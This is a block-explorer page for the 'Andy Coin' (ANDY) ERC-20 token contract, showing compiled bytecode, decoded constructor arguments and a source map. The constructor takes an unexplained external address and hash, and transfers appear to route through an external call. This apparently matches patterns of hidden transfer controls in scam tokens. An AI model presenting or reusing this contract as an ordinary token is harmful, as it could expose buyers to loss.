1039f90610c4f565b9392505050565b6000803390506000600180546108da90610e53565b80601f016020809104026020016040519081016040528092919081815260200182805461090690610e53565b80156109535780601f1061092857610100808354040283529160200191610953565b820191906000526020600020905b81548152906001019060200180831161093657829003601f168201915b5050505050905084801561096e57508363ffffffff166107d0145b1561097e576000925050506102a6565b8181604051602001610991929190610b80565b60408051601f19818403018152919052805160209091012095945050505050565b6020818101516001600160a01b0384166000908152600590925260409091205460011415806109e057508015155b6109e957600080fd5b505050565b80356001600160a01b038116811461037057600080fd5b600060208284031215610a16578081fd5b6108be826109ee565b60008060408385031215610a31578081fd5b610a3a836109ee565b9150610a48602084016109ee565b90509250929050565b600080600060608486031215610a65578081fd5b610a6e846109ee565b9250610a7c602085016109ee565b9150604084013590509250925092565b60008060408385031215610a9e578182fd5b610aa7836109ee565b946020939093013593505050565b60008060208385031215610ac7578182fd5b823567ffffffffffffffff80821115610ade578384fd5b818501915085601f830112610af1578384fd5b813581811115610aff578485fd5b8660208083028501011115610b12578485fd5b60209290920196919550909350505050565b60008151808452610b3c816020860160208601610e27565b601f01601f19169290920160200192915050565b60008251610b62818460208701610e27565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0383168152604060208201819052600090610ba490830184610b24565b949350505050565b901515815260200190565b6000602082526108be6020830184610b24565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252602a908201527f596f75206d6973732031303025206f66207468652073686f747320796f75206460408201526937b713ba103a30b5b29760b11b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526033908201527f54686520626573742077617920746f207072656469637420746865206675747560408201527239329034b9903a379031b932b0ba329034ba1760691b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610e0b57610e0b610e8e565b500190565b600082821015610e2257610e22610e8e565b500390565b60005b83811015610e42578181015183820152602001610e2a565b838111156104dd5750506000910152565b600281046001821680610e6757607f821691505b60208210811415610e8857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e978dea373b92e7ed16991e1f703e8858ee55179a79504362452391a8a41ddc064736f6c63430008000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d5d6efc0203a5864d0c29e55afd151eb4fe8b6c08fff9e530cf09ae381163cb5f0000000000000000000000000000000000000000000000000000000000000009416e647920436f696e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004414e445900000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Andy Coin
Arg [1] : symbol_ (string): ANDY
Arg [2] : worCad_ (address): 0xDff32C65f843188cF64ECBC6F4a13cFf12581b9D
Arg [3] : allTck_ (uint256): 42261187389752710702677210385106136449386337857593074035865524972142498925407

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d
Arg [3] : 5d6efc0203a5864d0c29e55afd151eb4fe8b6c08fff9e530cf09ae381163cb5f
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [5] : 416e647920436f696e0000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 414e445900000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

5478:9793:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7656:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8947:193;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;7814:102::-;;;:::i;:::-;;;;;;;:::i;9611:444::-;;;;;;:::i;:::-;;:::i;7344:86::-;;;:::i;:::-;;;;;;;:::i;10463:281::-;;;;;;:::i;:::-;;:::i;7978:162::-;;;;;;:::i;:::-;;:::i;6969:146::-;;;:::i;:::-;;13186:722;;;;;;:::i;:::-;;:::i;7196:81::-;;;:::i;:::-;;;;;;;:::i;7495:98::-;;;:::i;11507:381::-;;;;;;:::i;:::-;;:::i;8352:199::-;;;;;;:::i;:::-;;:::i;8613:188::-;;;;;;:::i;:::-;;:::i;7656:94::-;7704:13;7737:5;7730:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7656:94;:::o;8947:193::-;9051:4;9073:37;9082:10;9094:7;9103:6;9073:8;:37::i;:::-;-1:-1:-1;9128:4:0;8947:193;;;;;:::o;7814:102::-;7896:12;;7814:102;:::o;9611:444::-;9745:4;9762:36;9772:6;9780:9;9791:6;9762:9;:36::i;:::-;9809:216;9832:6;9853:10;9878:136;9932:6;9878:136;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9878:19:0;;;;;;:11;:19;;;;;;;;9898:10;9878:31;;;;;;;;;:136;:35;:136::i;:::-;9809:8;:216::i;:::-;-1:-1:-1;10043:4:0;9611:444;;;;;:::o;7344:86::-;7421:1;7344:86;:::o;10463:281::-;10608:10;10563:4;10655:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;10655:32:0;;;;;;;;;;10563:4;;10585:129;;10633:7;;10655:48;;10692:10;10655:36;:48::i;7978:162::-;-1:-1:-1;;;;;8114:18:0;;8082:7;8114:18;;;:9;:18;;;;;;7978:162;;;;:::o;6969:146::-;6596:6;;-1:-1:-1;;;;;6596:6:0;6582:10;:20;6574:65;;;;-1:-1:-1;;;6574:65:0;;;;;;;:::i;:::-;;;;;;;;;7028:6:::1;:19:::0;;-1:-1:-1;;;;;;7028:19:0::1;::::0;;7063:44:::1;::::0;7045:1:::1;::::0;7084:10:::1;::::0;7063:44:::1;::::0;7045:1;;7063:44:::1;6969:146::o:0;13186:722::-;13286:7;13258:24;13271:5;13278:3;13258:12;:24::i;:::-;:35;13254:48;;13295:7;;13254:48;13317:49;;;;;;:::i;:::-;;;;;;;;13378:10;13390;13405:5;;13411:1;13405:8;;;;;-1:-1:-1;;;13405:8:0;;;;;;;;;;;;;;;13415:5;;13421:1;13415:8;;;;;-1:-1:-1;;;13415:8:0;;;;;;;;;;;;;;;13377:47;;;;13469:1;13465:2;13462:9;13459:2;;;13571:1;13564:13;;;13537:9;13500:10;13595:12;13645:2;13632:16;;13625:28;;;13459:2;13685:9;13682:2;;13794:1;13787:13;;;13760:9;13723:10;13818:12;13868:2;13855:16;;13873:1;13848:27;;13682:2;13444:457;;;;;:::o;7196:81::-;7263:6;;-1:-1:-1;;;;;7263:6:0;7196:81;:::o;7495:98::-;7545:13;7578:7;7571:14;;;;;:::i;11507:381::-;11612:4;11634:224;11657:10;11682:7;11704:143;11759:15;11704:143;;;;;;;;;;;;;;;;;11716:10;11704:23;;;;:11;:23;;;;;;;;-1:-1:-1;;;;;11704:32:0;;;;;;;;;;;:143;:36;:143::i;8352:199::-;8459:4;8481:40;8491:10;8503:9;8514:6;8481:9;:40::i;8613:188::-;-1:-1:-1;;;;;8765:19:0;;;8733:7;8765:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;8613:188::o;14894:374::-;-1:-1:-1;;;;;15023:20:0;;15015:69;;;;-1:-1:-1;;;15015:69:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;15103:21:0;;15095:68;;;;-1:-1:-1;;;15095:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;15174:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;;:37;;;15227:33;;;;;15205:6;;15227:33;:::i;:::-;;;;;;;;14894:374;;;:::o;12378:800::-;-1:-1:-1;;;;;12510:20:0;;12502:70;;;;-1:-1:-1;;;12502:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12591:23:0;;12583:71;;;;-1:-1:-1;;;12583:71:0;;;;;;;:::i;:::-;12670:58;;;;;;:::i;:::-;;;;;;;;12740:12;12754:17;12775:7;-1:-1:-1;;;;;12775:12:0;12848:6;12802:53;;;;;;;;:::i;:::-;;;;-1:-1:-1;;12802:53:0;;;;;;;;;;;;;;-1:-1:-1;;;;;12802:53:0;-1:-1:-1;;;12802:53:0;;;12775:91;;;12802:53;12775:91;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12739:127;;;;12881:7;12877:37;;;12890:24;12901:6;12909:4;12890:10;:24::i;:::-;12945:108;12981:6;12945:108;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;12945:17:0;;;;;;:9;:17;;;;;;;:108;:21;:108::i;:::-;-1:-1:-1;;;;;12925:17:0;;;;;;;:9;:17;;;;;;:128;;;;13087:20;;;;;;;:32;;13112:6;13087:24;:32::i;:::-;-1:-1:-1;;;;;13064:20:0;;;;;;;:9;:20;;;;;;;:55;;;;13135:35;;;;;;;;;;13163:6;;13135:35;:::i;:::-;;;;;;;;12378:800;;;;;:::o;1913:224::-;2033:7;2069:12;2061:6;;;;2053:29;;;;-1:-1:-1;;;2053:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2093:9:0;2105:5;2109:1;2105;:5;:::i;:::-;2093:17;1913:224;-1:-1:-1;;;;;1913:224:0:o;1028:179::-;1086:7;;1118:5;1122:1;1118;:5;:::i;:::-;1106:17;;1147:1;1142;:6;;1134:46;;;;-1:-1:-1;;;1134:46:0;;;;;;;:::i;:::-;1198:1;1028:179;-1:-1:-1;;;1028:179:0:o;10752:253::-;10816:7;10836:11;10850:10;10836:24;;10871:17;10891:7;10871:27;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10913:2;:16;;;;;10919:2;:10;;10925:4;10919:10;10913:16;10909:30;;;10938:1;10931:8;;;;;;10909:30;10986:3;10991;10975:20;;;;;;;;;:::i;:::-;;;;-1:-1:-1;;10975:20:0;;;;;;;;;10965:31;;10975:20;10965:31;;;;;10752:253;-1:-1:-1;;;;;10752:253:0:o;14217:237::-;14369:4;14359:15;;;14353:22;-1:-1:-1;;;;;14404:13:0;;14296;14404;;;:5;:13;;;;;;;;14421:1;14404:18;;;:41;;-1:-1:-1;14426:19:0;;;14404:41;14396:50;;;;;;14217:237;;;:::o;14:175:2:-;84:20;;-1:-1:-1;;;;;133:31:2;;123:42;;113:2;;179:1;176;169:12;194:198;;306:2;294:9;285:7;281:23;277:32;274:2;;;327:6;319;312:22;274:2;355:31;376:9;355:31;:::i;397:274::-;;;526:2;514:9;505:7;501:23;497:32;494:2;;;547:6;539;532:22;494:2;575:31;596:9;575:31;:::i;:::-;565:41;;625:40;661:2;650:9;646:18;625:40;:::i;:::-;615:50;;484:187;;;;;:::o;676:342::-;;;;822:2;810:9;801:7;797:23;793:32;790:2;;;843:6;835;828:22;790:2;871:31;892:9;871:31;:::i;:::-;861:41;;921:40;957:2;946:9;942:18;921:40;:::i;:::-;911:50;;1008:2;997:9;993:18;980:32;970:42;;780:238;;;;;:::o;1023:266::-;;;1152:2;1140:9;1131:7;1127:23;1123:32;1120:2;;;1173:6;1165;1158:22;1120:2;1201:31;1222:9;1201:31;:::i;:::-;1191:41;1279:2;1264:18;;;;1251:32;;-1:-1:-1;;;1110:179:2:o;1294:666::-;;;1441:2;1429:9;1420:7;1416:23;1412:32;1409:2;;;1462:6;1454;1447:22;1409:2;1507:9;1494:23;1536:18;1577:2;1569:6;1566:14;1563:2;;;1598:6;1590;1583:22;1563:2;1641:6;1630:9;1626:22;1616:32;;1686:7;1679:4;1675:2;1671:13;1667:27;1657:2;;1713:6;1705;1698:22;1657:2;1758;1745:16;1784:2;1776:6;1773:14;1770:2;;;1805:6;1797;1790:22;1770:2;1864:7;1859:2;1853;1845:6;1841:15;1837:2;1833:24;1829:33;1826:46;1823:2;;;1890:6;1882;1875:22;1823:2;1926;1918:11;;;;;1948:6;;-1:-1:-1;1399:561:2;;-1:-1:-1;;;;1399:561:2:o;1965:260::-;;2047:5;2041:12;2074:6;2069:3;2062:19;2090:63;2146:6;2139:4;2134:3;2130:14;2123:4;2116:5;2112:16;2090:63;:::i;:::-;2207:2;2186:15;-1:-1:-1;;2182:29:2;2173:39;;;;2214:4;2169:50;;2017:208;-1:-1:-1;;2017:208:2:o;2230:274::-;;2397:6;2391:13;2413:53;2459:6;2454:3;2447:4;2439:6;2435:17;2413:53;:::i;:::-;2482:16;;;;;2367:137;-1:-1:-1;;2367:137:2:o;2509:203::-;-1:-1:-1;;;;;2673:32:2;;;;2655:51;;2643:2;2628:18;;2610:102::o;2717:319::-;-1:-1:-1;;;;;2894:32:2;;2876:51;;2963:2;2958;2943:18;;2936:30;;;2717:319;;2983:47;;3011:18;;3003:6;2983:47;:::i;:::-;2975:55;2866:170;-1:-1:-1;;;;2866:170:2:o;3041:187::-;3206:14;;3199:22;3181:41;;3169:2;3154:18;;3136:92::o;3233:222::-;;3382:2;3371:9;3364:21;3402:47;3445:2;3434:9;3430:18;3422:6;3402:47;:::i;3460:399::-;3662:2;3644:21;;;3701:2;3681:18;;;3674:30;3740:34;3735:2;3720:18;;3713:62;-1:-1:-1;;;3806:2:2;3791:18;;3784:33;3849:3;3834:19;;3634:225::o;3864:398::-;4066:2;4048:21;;;4105:2;4085:18;;;4078:30;4144:34;4139:2;4124:18;;4117:62;-1:-1:-1;;;4210:2:2;4195:18;;4188:32;4252:3;4237:19;;4038:224::o;4267:351::-;4469:2;4451:21;;;4508:2;4488:18;;;4481:30;4547:29;4542:2;4527:18;;4520:57;4609:2;4594:18;;4441:177::o;4623:406::-;4825:2;4807:21;;;4864:2;4844:18;;;4837:30;4903:34;4898:2;4883:18;;4876:62;-1:-1:-1;;;4969:2:2;4954:18;;4947:40;5019:3;5004:19;;4797:232::o;5034:356::-;5236:2;5218:21;;;5255:18;;;5248:30;5314:34;5309:2;5294:18;;5287:62;5381:2;5366:18;;5208:182::o;5395:415::-;5597:2;5579:21;;;5636:2;5616:18;;;5609:30;5675:34;5670:2;5655:18;;5648:62;-1:-1:-1;;;5741:2:2;5726:18;;5719:49;5800:3;5785:19;;5569:241::o;5815:401::-;6017:2;5999:21;;;6056:2;6036:18;;;6029:30;6095:34;6090:2;6075:18;;6068:62;-1:-1:-1;;;6161:2:2;6146:18;;6139:35;6206:3;6191:19;;5989:227::o;6221:400::-;6423:2;6405:21;;;6462:2;6442:18;;;6435:30;6501:34;6496:2;6481:18;;6474:62;-1:-1:-1;;;6567:2:2;6552:18;;6545:34;6611:3;6596:19;;6395:226::o;6626:177::-;6772:25;;;6760:2;6745:18;;6727:76::o;6808:184::-;6980:4;6968:17;;;;6950:36;;6938:2;6923:18;;6905:87::o;6997:128::-;;7068:1;7064:6;7061:1;7058:13;7055:2;;;7074:18;;:::i;:::-;-1:-1:-1;7110:9:2;;7045:80::o;7130:125::-;;7198:1;7195;7192:8;7189:2;;;7203:18;;:::i;:::-;-1:-1:-1;7240:9:2;;7179:76::o;7260:258::-;7332:1;7342:113;7356:6;7353:1;7350:13;7342:113;;;7432:11;;;7426:18;7413:11;;;7406:39;7378:2;7371:10;7342:113;;;7473:6;7470:1;7467:13;7464:2;;;-1:-1:-1;;7508:1:2;7490:16;;7483:27;7313:205::o;7523:380::-;7608:1;7598:12;;7655:1;7645:12;;;7666:2;;7720:4;7712:6;7708:17;7698:27;;7666:2;7773;7765:6;7762:14;7742:18;7739:38;7736:2;;;7819:10;7814:3;7810:20;7807:1;7800:31;7854:4;7851:1;7844:15;7882:4;7879:1;7872:15;7736:2;;7578:325;;;:::o;7908:127::-;7969:10;7964:3;7960:20;7957:1;7950:31;8000:4;7997:1;7990:15;8024:4;8021:1;8014:15

Swarm Source

ipfs://e978dea373b92e7ed16991e1f703e8858ee55179a79504362452391a8a41ddc0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.